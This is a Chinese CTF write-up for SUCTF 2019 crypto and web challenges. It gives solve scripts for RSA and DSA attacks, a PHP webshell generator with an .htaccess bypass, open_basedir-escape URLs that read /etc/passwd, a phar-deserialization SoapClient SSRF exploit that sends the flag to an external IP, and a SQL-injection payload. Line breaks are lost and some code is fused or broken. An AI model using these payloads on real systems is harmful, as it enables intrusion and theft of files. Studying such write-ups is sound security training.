瞎试,发现n0 n1不互质,后来发现任意两个都不互质,然后就能求出每个n的四个因子。

from pwn import *from hashlib import md5import decimalimport gmpy2def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return aa = 0def oracle(num):
    p.recvuntil("Please input your option:")
    p.sendline("D")
    p.recvuntil("Your encrypted message:")
    p.sendline(str(num))
    p.recvuntil("The plain of your decrypted message is ")
    lsb = p.recv(3)
    return lsb == 'odd'def partial(c,e,n):
    k = n.bit_length()
    decimal.getcontext().prec = k  # for 'precise enough' floats
    lo = decimal.Decimal(0)
    hi = decimal.Decimal(n)
    for i in range(k):
        if not oracle(c):
            hi = (lo + hi) / 2
        else:
            lo = (lo + hi) / 2
        c = (c * pow(2, e, n)) % n
        print i, int(hi - lo)
    return int(hi)s = "0123456789abcdefABCDEF"p = remote("47.111.59.243","8003")p.recvuntil("[*] Please find a string that md5(str + ")salt = p.recv(4)p.recvuntil("[0:5] == ")part_hash = p.recv(5)found = 0for i in s:
    for j in s:
        for k in s:
            for l in s:
                for m in s:
                    ss = i+j+k+l+m
                    if md5(ss+salt).hexdigest()[:5] == part_hash:
                        found = 1
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    if found:
        breakp.recvuntil("> ")p.sendline(ss)p.recvuntil("cs[0] = ")c1 = eval(p.recvline())p.recvuntil("ns[0] = ")n1 = eval(p.recvline())p.recvuntil("cs[1] = ")c2 = eval(p.recvline())p.recvuntil("ns[1] = ")n2 = eval(p.recvline())p.recvuntil("cs[2] = ")c3 = eval(p.recvline())p.recvuntil("ns[2] = ")n3 = eval(p.recvline())p.recvuntil("cs[3] = ")c4 = eval(p.recvline())p.recvuntil("ns[3] = ")n4 = eval(p.recvline())n1p1 = gcd(n1,n2)n1p2 = gcd(n1,n3)n1p3 = gcd(n1,n4)n1p4 = n1/(n1p1*n1p2*n1p3)d1=int(gmpy2.invert(n1,(n1p1-1)*(n1p2-1)*(n1p3-1)*(n1p4-1)))m1 = pow(c1,d1,n1)n2p1 = gcd(n2,n1)n2p2 = gcd(n2,n3)n2p3 = gcd(n2,n4)n2p4 = n2/(n2p1*n2p2*n2p3)d2=int(gmpy2.invert(n2,(n2p1-1)*(n2p2-1)*(n2p3-1)*(n2p4-1)))m2 = pow(c2,d2,n2)n3p1 = gcd(n3,n1)n3p2 = gcd(n3,n2)n3p3 = gcd(n3,n4)n3p4 = n3/(n3p1*n3p2*n3p3)d3=int(gmpy2.invert(n3,(n3p1-1)*(n3p2-1)*(n3p3-1)*(n3p4-1)))m3 = pow(c3,d3,n3)n4p1 = gcd(n4,n2)n4p2 = gcd(n4,n3)n4p3 = gcd(n4,n1)n4p4 = n4/(n4p1*n4p2*n4p3)d4=int(gmpy2.invert(n4,(n4p1-1)*(n4p2-1)*(n4p3-1)*(n4p4-1)))m4 = pow(c4,d4,n4)p.recvuntil("ms[0] = ")p.sendline(hex(m1))p.recvuntil("ms[1] = ")p.sendline(hex(m2))p.recvuntil("ms[2] = ")p.sendline(hex(m3))p.recvuntil("ms[3] = ")p.sendline(hex(m4))print(p.recvline().strip())

DSA

脚本如下:

#coding=utf8from Crypto.PublicKey import DSAfrom hashlib import md5import gmpy2import hashlibfrom cryptography.hazmat.primitives.asymmetric.rsa import _modinvp = 89884656743115795580686663829063433723705316331915518116995555215732107995059028542508401244839154951727540560161931978595376162965578570688594466436802284147607626105578924348149452183916543288346766737451989059750506942292767656446346135964708979885460659773076011464167414551120634816058711585048191954497q = 1111804377363103506497255080558092668997313464491g = 81015871603456981032885262867256289415428185718067221863176015480426278916784273932461088597278453025238130171264554340337052290801398971212149002598733514497274080038687844873045392142055341888546884513467006243654622193996237786587933291936305860861104505778330178660321910982065964185311229731036440300912y = 24205967076065946398939942966555243225474145978138314135133201932616151998778053968114291774217862261420967723355996662814191035892360634754604901035581578539634376520187757713469318847622699231634156440729178396025399617453913697005440949117064991219553520585024955478025227096450962672242862991836900979588#找到一组同r的数据,m为字符串的md5# And see the brave day sunk in hideous night# Its MD5 digest: 189275664133327295485034625257633857845# (1110285731834476772119910400331516120389395795749L, 671563422243860980520073471433161684440141852624L)# ------------------------------------------------------------------------# And sable curls all silver'd o'er with white# Its MD5 digest: 76447611971473350019028042637993930502# (1110285731834476772119910400331516120389395795749L, 218895397309026853341136197466419726836220239272L)s0=671563422243860980520073471433161684440141852624s1=218895397309026853341136197466419726836220239272m0=189275664133327295485034625257633857845m1=76447611971473350019028042637993930502r= 1110285731834476772119910400331516120389395795749dm=m1-m0ds=s1-s0k = gmpy2.mul(dm, gmpy2.invert(ds, q))k = gmpy2.f_mod(k, q)tmp = gmpy2.mul(k, s0) - m0x = tmp * gmpy2.invert(r, q)x = gmpy2.f_mod(x, q)data5="""And nothing 'gainst Time's scythe can make defence"""kinv = _modinv(k, q)h = hashlib.md5(data5.encode()).digest()h = int.from_bytes(h, "big")s = kinv * (h + r * x) % qprint("("+str(r)+"L, "+str(int(s))+"L)")#flag:flag{Wh4t_a_Prety_Si3nature!}

mt

出题人加密很直观,明文不断的加密,最终的还是明文,所以直奔主题,payload如下:

from Crypto.Random import randomfrom Crypto.Util import numberdef convert(m):
    m = m ^ m >> 13
    m = m ^ m << 9 & 2029229568
    m = m ^ m << 17 & 2245263360
    m = m ^ m >> 19
    return mdef transform(message):
    new_message = ''
    for i in range(len(message) / 4):
        block = message[i * 4 : i * 4 +4]
        block = number.bytes_to_long(block)
        block = convert(block)
        block = number.long_to_bytes(block, 4)
        new_message += block
    return new_messagec1 = '641460a9'c2 = 'e3953b1a'c3 = 'aa21f3a2'def decode(c):
 x = c
 while True:
     xx = x
     x = transform(x.decode('hex')).encode('hex')
     if x == c:
         return xxprint(decode(c1)+decode(c2)+decode(c3))#flag{84b45f89af22ce7e67275bdc}

RSA

lsb Oracal attack

from pwn import *from hashlib import md5import decimala = 0def oracle(num):
    p.recvuntil("Please input your option:")
    p.sendline("D")
    p.recvuntil("Your encrypted message:")
    p.sendline(str(num))
    p.recvuntil("The plain of your decrypted message is ")
    lsb = p.recv(3)
    return lsb == 'odd'def partial(c,e,n):
    k = n.bit_length()
    decimal.getcontext().prec = k  # for 'precise enough' floats
    lo = decimal.Decimal(0)
    hi = decimal.Decimal(n)
    for i in range(k):
        if not oracle(c):
            hi = (lo + hi) / 2
        else:
            lo = (lo + hi) / 2
        c = (c * pow(2, e, n)) % n
        print i, int(hi - lo)
    return int(hi)s = "0123456789abcdefABCDEF"p = remote("47.111.59.243","9421")p.recvuntil("[*] Please find a string that md5(str + ")salt = p.recv(4)p.recvuntil("[0:5] == ")part_hash = p.recv(5)found = 0for i in s:
    for j in s:
        for k in s:
            for l in s:
                for m in s:
                    ss = i+j+k+l+m
                    if md5(ss+salt).hexdigest()[:5] == part_hash:
                        found = 1
                        break
                if found:
                    break
            if found:
                break
        if found:
            break
    if found:
        breakp.recvuntil("> ")p.sendline(ss)p.recvuntil("Guess the Secrets 3 times, Then you will get the flag!\n")for i in range(3):
    R = p.recvline().strip()
    p.recvuntil("n = ")
    n = eval(p.recvline().strip())
    p.recvuntil("e = ")
    e = eval(p.recvline().strip())
    p.recvuntil("The Encypted secret:")
    p.recvuntil("c = ")
    c = eval(p.recvline().strip())
    c_of_2 = pow(2,e,n)
    m = partial((c*c_of_2)%n,e,n)
    p.recvuntil("Please input your option:")
    p.sendline("G")
    p.recvuntil('The secret:')
    p.sendline(str(m))
    s = p.recvline().strip()
    print(s)
    log.success(s+' '+R+" success!")p.interactive()

web

CheckIn

题目功能是一个文件上传,可以上传jpg、png等文件,但是限制了php,而且还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接随便加一个图片文件头就行,并且上传之后会给出文件所在目录


尝试了.htaccess,发现不行,队里师傅突然说用.user.iniorz,第一次见还能这么做。先发下p牛的链接

.user.ini文件构成的PHP后门

EasyPHP

ISITDTU CTF 2019 EasyPHP 回顾

找到一篇类似的题,但是这里长度限制了18,太狠了,还过滤了字母数字。

于是谷歌了一番,找到了Smi1e师傅的一篇文章,结合陆队的blog,找到了思路

经过摸索,找到payload

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

接下来就是上传了,说一下流程,上传一个.htaccess,然后getshell,直接贴脚本了

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .south\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()generate_htacess()generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")

把文件上传上去之后得到shell,发现有open_basedir,这里想到0CTF-TCTF final的绕过open_basedir任意文件读取

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g"));

Upload labs 2

这道题开放了不久,给了源码,接着审计一波,index.php上传这里没啥限制,限制了文件后缀

#index.php<?phpinclude 'class.php';$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);}if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }   }

func.php接受一个url参数,参数经过一个很狠的正则,会去你上传的目录找你上传的文件,获取MIME返回。

# func.phpif (isset($_POST["submit"]) && isset($_POST["url"])) {    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){        die("Go away!");    }else{        $file_path = $_POST['url'];        $file = new File($file_path);        $file->getMIME();        echo "<p>Your file type is '$file' </p>";    }}

class.php这里的File的__wakeup函数很异常,预计就是题目考点了,作用是创建一个类的新实例,给出的参数将传递到类的构造函数。

#class.php<?phpinclude 'config.php';class File{
    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }
    function __toString(){
        return $this->type;
    }}class Check{
    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }}

接下来这个admin.php,需要一个ssrf然后,之后会触发getflag函数把flag发到你服务器上

#admin.php<?phpinclude 'config.php';class Ad{
    public $ip;
    public $port;

    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
        $this->ip = $ip;
        $this->port = $port;
        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }
    function check(){
        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }
    function __destruct(){
        getFlag($this->ip, $this->port);
        //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
    }}if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $ip = $_POST['ip'];     //你用来获取flag的服务器ip
        $port = $_POST['port']; //你用来获取flag的服务器端口
        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }}else {
    echo "You r not admin!";}

经过大致分析,需要点: ssrf、触发反序列化、上传内容不能有<?、不能直接用phar等已见的协议触发。

这里正则绕过:php://filter/resource=phar://phar.phar

ssrf: 因为可以实例化任何类,然而题目并没有给什么有用的,自然想到SoapClient

上传内容不能有<?绕过: 结合前面两题的trick<script language="php">__HALT_COMPILER();</script>

触发反序列化:$this->type = finfo_file($finfo, $this->file_name);

那么这些点全部都有了,直接贴exp吧。

<?php$phar = new Phar('test.phar');$phar->startBuffering();$phar->addFromString('test.txt','text');$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'hello')
        ];
    }}$object = new File;echo urlencode(serialize($object));$phar->setMetadata($object);$phar->stopBuffering();

把生成的test.phar改成test.jpg上传,然后访问php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg

easy_sql

这道题下午队里师傅突然说扫到源码(传说中的运维事故,运维vim异常退出导致源码泄露,运维背锅,出题人已哭晕在厕所。),源码如下

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }
    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?><html><head></head><body><a> Give me your flag, I will tell you if the flag is right. </ a><form action="" method="post"><input type="text" name="query"><input type="submit"></form></body></html><?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }
    ?>

这一看,感觉跟之前自己fuzz的没啥区别,唯一可喜的就是看到了执行的语句,直接上payload吧,拼接后为:select *,2||flag from Flag即可查出flag

pythonnginx

这题简单明了,直接是用blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization,其中关于python的如下图,具体PPT链接如下:PPT链接,我就不细说了

我们可以简单的写一个脚本来爆破一下最后一个字符串c,脚本如下

from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            passdef getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return Falseif __name__=="__main__":
    get_unicode()

结果如下,随便拿一个字符就行

根据题目提示Dont worry about the suctf.cc. Go on!猜测应该是hosts文件suctf.cc绑定了127.0.0.1,既然是127.0.0.1我们可以尝试用file协议读一下文件

成功读取,那么现在就是找flag了,根据提示猜测flag位置可能和nginx有关,尝试读一下nginx的配置文件

得到flag

Cocktail's Remix

这题是结合逆向的一道题,扫描一下发现有一个下载功能,可以读文件,但是试了一个常规的flag文件路径都读不到flag,猜测flag应该不在目录里面。还有一个info.php也没有发现什么信息,猜测与题目名字有关,info.php里面搜索一下

果真有点东西,把mod_cocktail.so文件下载下来,丢IDA看一下

大概意思是获取Reffer头的内容然后传入j_remix后的字符串拿去popen,跟进j_remix看一下,代码如下

#include <cstdio>#include <cstring>const char* remixedchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";int num_strchr(const char *str, char c){
  char *v2; // rax
  int result; // eax

  v2 = strchr((char*)str, c);
  if ( v2 )
    result = v2 - str;
  else
    result = -1;
  return result;}void remix(const char *remixed, char *dedata){
  char *v2; // r13
  char v3; // si
  const char *v4; // rbx
  int v5; // rbp
  int v6; // er14
  int j; // ST0C_4
  int v8; // er14
  int v9; // er15

  v2 = dedata;
  v3 = *remixed;
  if ( *remixed )
  {
    v4 = remixed + 1;
    v5 = 0;
    do
    {
      while ( 1 )
      {
        v8 = 4 * num_strchr(remixedchar, v3);
        v9 = num_strchr(remixedchar, *v4);
        v2[(signed int)v5] = v8 | (v9 >> 4) & 3;
        if ( v4[1] != 61 )
          break;
        v4 += 4;
        v3 = *(v4 - 1);
        v5 = v5 + 1;
        if ( !*(v4 - 1) )
          goto LABEL_8;
      }
      v6 = num_strchr(remixedchar, v4[1]);
      v2[(signed int)v5 + 1] = (v6 >> 2) & 0xF | 16 * v9;
      if ( v4[2] == 61 )
      {
        v5 = v5 + 2;
      }
      else
      {
        j = v5 + 2;
        v5 = v5 + 3;
        v2[j] = num_strchr(remixedchar, v4[2]) & 0x3F | (v6 << 6);
      }
      v4 += 4;
      v3 = *(v4 - 1);
    }
    while ( *(v4 - 1) );LABEL_8:
    v5 = (signed int)v5;
  }
  else
  {
    v5 = 0LL;
  }
  v2[v5] = 0;}

问了一下队里面的re师傅,说这个是base64,尝试一下发现可以

但是发现都找不到flag,通过之前扫描出来的config.php,猜测flag应该在数据库里面,读一下config文件得到数据库用户密码

show databases一下

use flag;show tables

select * from flag.flag

转自先知社区

打赏我,让我更有动力~

0 条回复   |  直到 2019-8-20 | 1778 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.